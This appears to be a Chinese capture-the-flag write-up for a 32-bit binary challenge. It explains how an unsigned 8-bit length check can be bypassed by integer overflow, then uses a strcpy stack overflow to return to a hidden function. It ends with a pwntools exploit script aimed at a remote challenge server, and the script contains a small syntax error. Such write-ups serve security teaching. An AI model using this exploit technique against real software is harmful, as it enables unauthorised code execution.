首先看一下文件信息:
32位 可以栈溢出,用ida32打开看main函数,在login里面发现输入点:
但是输入空间被限制,暂无注入点,再看一下check_passwd:
判断流程是判断passwd长度大于3小于8,然后把s赋值给dest。
首先发现一个问题,v3是unsigned _int8,8位的无符号整型,范围是0~255,可以整数溢出,就是256赋值给v3时,v3=0.也就是说我们可以填充payload到260~264位,符合if条件,所以在passwd输入时使用栈溢出。
再看strcpy函数,将s赋值给dest,我们来看看dest的栈结构:
想要填充函数返回值 r ,那么前面的填充内容为:‘a’*0x14+'aaaa'.我们仔细看一下会发现有个函数:
地址为:0x0804868B,十六进制地址,两个16进制数占一个字节,所以这个地址占四个字节。
那么payload为:‘a’*0x14+'aaaa'+p32(0x0804868B),要满足if条件则需要填充到260~264
取260~264中的一个数,比如说261
也就是261-0x14-4-4=233,完整的payload出来了:
payload=‘a’*0x14+'aaaa'+p32(0x0804868B)+‘a’*233
我们的exp为:
#-*- coding:utf-8 -*-
from pwn import *
p = remote('220.249.52.133',54442)
p.sendlineafter('choice:',"1")
p.sendlineafter('username','aaa')
p.sendlineafter('passwd:','a'*0x14+'aaaa'+p32(0x0804868B))+a*233
p.interactive()
运行结果为: